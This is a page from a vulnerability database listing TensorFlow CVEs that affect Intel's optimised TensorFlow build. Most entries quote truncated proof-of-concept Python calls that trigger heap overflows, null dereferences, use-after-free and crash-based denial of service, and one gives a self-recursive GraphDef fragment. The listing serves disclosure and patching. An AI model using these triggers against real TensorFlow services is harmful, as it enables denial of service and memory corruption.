Intel Optimization For Tensorflow vulnerabilities
429 known vulnerabilities affecting intel/optimization_for_tensorflow.
Total CVEs
429
CISA KEV
0
Public exploits
0
Exploited in wild
0
Severity breakdown
CRITICAL5HIGH121MEDIUM200LOW103
Vulnerabilities
Page 4 of 22
CVE-2020-15265P3HIGH≥ 0, < 2.4.02020-11-13
CVE-2020-15265 [HIGH] CWE-125 Segfault in `tf.quantization.quantize_and_dequantize`
Segfault in `tf.quantization.quantize_and_dequantize`
### Impact
An attacker can pass an invalid `axis` value to `tf.quantization.quantize_and_dequantize`:
```python
tf.quantization.quantize_and_dequantize(
input=[2.5, 2.5], input_min=[0,0], input_max=[1,1], axis=10)
```
This results in accessing [a dimension outside the rank of the input tensor](https://github.com/tensorflow/tensorflow/blob/0225022b725993bfc1
ghsaosv
CVE-2023-25665P3HIGH≥ 0, < 2.11.12023-03-24
CVE-2023-25665 [HIGH] CWE-476 TensorFlow has Null Pointer Error in SparseSparseMaximum
TensorFlow has Null Pointer Error in SparseSparseMaximum
### Impact
When `SparseSparseMaximum` is given invalid sparse tensors as inputs, it can give an NPE.
```python
import tensorflow as tf
tf.raw_ops.SparseSparseMaximum(
a_indices=[[1]],
a_values =[ 0.1 ],
a_shape = [2],
b_indices=[[]],
b_values =[2 ],
b_shape = [2],
)
```
### Patches
We have patched the issue in GitHub commit [5e0ecfb42f5f65629fd7a4edd6
ghsaosv
CVE-2022-35981P3MEDIUM≥ 0, < 2.7.2≥ 2.8.0, < 2.8.1+1 more2022-09-16
CVE-2022-35981 [MEDIUM] CWE-617 TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`
TensorFlow vulnerable to `CHECK` fail in `FractionalMaxPoolGrad`
### Impact
`FractionalMaxPoolGrad` validates its inputs with `CHECK` failures instead of with returning errors. If it gets incorrectly sized inputs, the `CHECK` failure can be used to trigger a denial of service attack:
```python
import tensorflow as tf
overlapping = True
orig_input = tf.constant(.453409232, shape=[1,7,13,1], dtype=tf
ghsaosv
CVE-2023-25662P3HIGH≥ 0, < 2.11.12023-03-24
CVE-2023-25662 [HIGH] CWE-190 TensorFlow vulnerable to integer overflow in EditDistance
TensorFlow vulnerable to integer overflow in EditDistance
### Impact
TFversion 2.11.0 //tensorflow/core/ops/array_ops.cc:1067 const Tensor* hypothesis_shape_t = c->input_tensor(2); std::vector dims(hypothesis_shape_t->NumElements() - 1); for (int i = 0; i MakeDim(std::max(h_values(i), t_values(i))); }
if hypothesis_shape_t is empty, hypothesis_shape_t->NumElements() - 1 will be integer overflow, and the it
ghsaosv
CVE-2021-29529P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29529 [LOW] CWE-131 Heap buffer overflow caused by rounding
Heap buffer overflow caused by rounding
### Impact
An attacker can trigger a heap buffer overflow in `tf.raw_ops.QuantizedResizeBilinear` by manipulating input values so that float rounding results in off-by-one error in accessing image elements:
```python
import tensorflow as tf
l = [256, 328, 361, 17, 361, 361, 361, 361, 361, 361, 361, 361, 361, 361, 384]
images = tf.constant(l, shape=[1, 1, 15, 1], dtype=tf.qint32)
size =
ghsaosv
CVE-2021-29607P3MEDIUM≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2022-03-18
CVE-2021-29607 [MEDIUM] CWE-754 Incomplete validation in `SparseSparseMinimum`
Incomplete validation in `SparseSparseMinimum`
### Impact
Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
```python
import tensorflow as tf
a_indices = tf.ones([45, 92], dtype=tf.int64)
a_values = tf.ones([45], dtype=tf.int64)
a_shape = tf.ones([1], dtype=tf.int64)
b_indices = tf
ghsaosv
CVE-2021-29609P3MEDIUM≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29609 [MEDIUM] CWE-665 Incomplete validation in `SparseAdd`
Incomplete validation in `SparseAdd`
### Impact
Incomplete validation in `SparseAdd` results in allowing attackers to exploit undefined behavior (dereferencing null pointers) as well as write outside of bounds of heap allocated data:
```python
import tensorflow as tf
a_indices = tf.zeros([10, 97], dtype=tf.int64)
a_values = tf.zeros([10], dtype=tf.int64)
a_shape = tf.zeros([0], dtype=tf.int64)
b_indices = tf.zeros([0, 0], d
ghsaosv
CVE-2021-29520P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29520 [LOW] CWE-120 Heap buffer overflow in `Conv3DBackprop*`
Heap buffer overflow in `Conv3DBackprop*`
### Impact
Missing validation between arguments to `tf.raw_ops.Conv3DBackprop*` operations can result in heap buffer overflows:
```python
import tensorflow as tf
input_sizes = tf.constant([1, 1, 1, 1, 2], shape=[5], dtype=tf.int32)
filter_tensor = tf.constant([734.6274508233133, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
-10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0, -10.0,
ghsaosv
CVE-2021-29579P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29579 [LOW] CWE-119 Heap buffer overflow in `MaxPoolGrad`
Heap buffer overflow in `MaxPoolGrad`
### Impact
The implementation of `tf.raw_ops.MaxPoolGrad` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
orig_input = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.0], shape=[1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([], shape=[0, 0, 0, 0], dtype=tf.float32)
ksize = [1, 1, 1, 1]
strides = [1, 1, 1, 1]
padding = "SA
ghsaosv
CVE-2021-29512P3LOW≥ 2.3.0, < 2.3.3≥ 2.4.0, < 2.4.22021-05-21
CVE-2021-29512 [LOW] CWE-120 Heap buffer overflow in `RaggedBinCount`
Heap buffer overflow in `RaggedBinCount`
### Impact
If the `splits` argument of `RaggedBincount` does not specify a valid [`SparseTensor`](https://www.tensorflow.org/api_docs/python/tf/sparse/SparseTensor), then an attacker can trigger a heap buffer overflow:
```python
import tensorflow as tf
tf.raw_ops.RaggedBincount(splits=[0], values=[1,1,1,1,1], size=5, weights=[1,2,3,4], binary_output=False)
```
This will cause a read
ghsaosv
CVE-2021-29535P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29535 [LOW] CWE-131 Heap buffer overflow in `QuantizedMul`
Heap buffer overflow in `QuantizedMul`
### Impact
An attacker can cause a heap buffer overflow in `QuantizedMul` by passing in invalid thresholds for the quantization:
```python
import tensorflow as tf
x = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
y = tf.constant([256, 328], shape=[1, 2], dtype=tf.quint8)
min_x = tf.constant([], dtype=tf.float32)
max_x = tf.constant([], dtype=tf.float32)
min_y = tf.constant([], d
ghsaosv
CVE-2021-29537P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29537 [LOW] CWE-131 Heap buffer overflow in `QuantizedResizeBilinear`
Heap buffer overflow in `QuantizedResizeBilinear`
### Impact
An attacker can cause a heap buffer overflow in `QuantizedResizeBilinear` by passing in invalid thresholds for the quantization:
```python
import tensorflow as tf
images = tf.constant([], shape=[0], dtype=tf.qint32)
size = tf.constant([], shape=[0], dtype=tf.int32)
min = tf.constant([], dtype=tf.float32)
max = tf.constant([], dtype=tf.float32)
tf.raw_ops
ghsaosv
CVE-2021-29576P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29576 [LOW] CWE-119 Heap buffer overflow in `MaxPool3DGradGrad`
Heap buffer overflow in `MaxPool3DGradGrad`
### Impact
The implementation of `tf.raw_ops.MaxPool3DGradGrad` is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
values = [0.01] * 11
orig_input = tf.constant(values, shape=[11, 1, 1, 1, 1], dtype=tf.float32)
orig_output = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
grad = tf.constant([0.01], shape=[1, 1, 1, 1, 1], dtype=tf.float32)
ks
ghsaosv
CVE-2021-29536P3LOW≥ 0, < 2.1.4≥ 2.2.0, < 2.2.3+2 more2021-05-21
CVE-2021-29536 [LOW] CWE-787 Heap buffer overflow in `QuantizedReshape`
Heap buffer overflow in `QuantizedReshape`
### Impact
An attacker can cause a heap buffer overflow in `QuantizedReshape` by passing in invalid thresholds for the quantization:
```python
import tensorflow as tf
tensor = tf.constant([], dtype=tf.qint32)
shape = tf.constant([], dtype=tf.int32)
input_min = tf.constant([], dtype=tf.float32)
input_max = tf.constant([], dtype=tf.float32)
tf.raw_ops.QuantizedReshape(tensor=tenso
ghsaosv
CVE-2021-41203P3HIGH≥ 2.6.0, < 2.6.1≥ 2.5.0, < 2.5.2+1 more2021-11-10
CVE-2021-41203 [HIGH] CWE-190 Missing validation during checkpoint loading
Missing validation during checkpoint loading
### Impact
An attacker can trigger undefined behavior, integer overflows, segfaults and `CHECK`-fail crashes if they can change saved checkpoints from outside of TensorFlow.
This is because the checkpoints loading infrastructure is missing validation for invalid file formats.
### Patches
We have patched the issue in GitHub commits [b619c6f865715ca3b15ef1842b5b95edbaa710ad](h
ghsaosv
CVE-2021-37679P3HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37679 [HIGH] CWE-125 Heap OOB in nested `tf.map_fn` with `RaggedTensor`s
Heap OOB in nested `tf.map_fn` with `RaggedTensor`s
### Impact
It is possible to nest a `tf.map_fn` within another `tf.map_fn` call. However, if the input tensor is a `RaggedTensor` and there is no function signature provided, code assumes the output is a fully specified tensor and fills output buffer with uninitialized contents from the heap:
```python
import tensorflow as tf
x = tf.ragged.constant([[1,2,3], [4,
ghsaosv
CVE-2021-37652P3HIGH≥ 0, < 2.3.4≥ 2.4.0, < 2.4.3+1 more2021-08-25
CVE-2021-37652 [HIGH] CWE-415 Use after free in boosted trees creation
Use after free in boosted trees creation
### Impact
The implementation for `tf.raw_ops.BoostedTreesCreateEnsemble` can result in a use after free error if an attacker supplies specially crafted arguments:
```python
import tensorflow as tf
v= tf.Variable([0.0])
tf.raw_ops.BoostedTreesCreateEnsemble(
tree_ensemble_handle=v.handle,
stamp_token=[0],
tree_ensemble_serialized=['0'])
```
The [implementation](https://github.com/t
ghsaosv
CVE-2021-41216P3MEDIUM≥ 2.6.0, < 2.6.1≥ 2.5.0, < 2.5.2+1 more2021-11-10
CVE-2021-41216 [MEDIUM] CWE-120 Heap buffer overflow in `Transpose`
Heap buffer overflow in `Transpose`
### Impact
The [shape inference function for `Transpose`](https://github.com/tensorflow/tensorflow/blob/8d72537c6abf5a44103b57b9c2e22c14f5f49698/tensorflow/core/ops/array_ops.cc#L121-L185) is vulnerable to a heap buffer overflow:
```python
import tensorflow as tf
@tf.function
def test():
y = tf.raw_ops.Transpose(x=[1,2,3,4],perm=[-10])
return y
test()
```
This occurs whenever `perm` contai
ghsaosv
CVE-2022-23591P3HIGH≥ 0, < 2.5.3≥ 2.6.0, < 2.6.3+1 more2022-02-09
CVE-2022-23591 [HIGH] CWE-400 Stack overflow in TensorFlow
Stack overflow in TensorFlow
### Impact
The `GraphDef` format in TensorFlow does not allow self recursive functions. The runtime assumes that this invariant is satisfied. However, a `GraphDef` containing a fragment such as the following can be consumed when loading a `SavedModel`:
```
library {
function {
signature {
name: "SomeOp"
description: "Self recursive op"
}
node_def {
name: "1"
op: "SomeOp"
}
node_def {
name: "2"
op: "SomeOp"
ghsaosv
CVE-2018-8825P3HIGH≥ 1.5.0, < 1.7.12019-04-24
CVE-2018-8825 [HIGH] CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow
Improper Restriction of Operations within the Bounds of a Memory Buffer in Google TensorFlow
Google TensorFlow 1.7 and below is affected by: Buffer Overflow. The impact is: execute arbitrary code (local). Users passing a malformed or malicious version of a TFLite graph into TOCO will cause TOCO to crash or cause a buffer overflow, potentially allowing malicious code to be ex
ghsaosv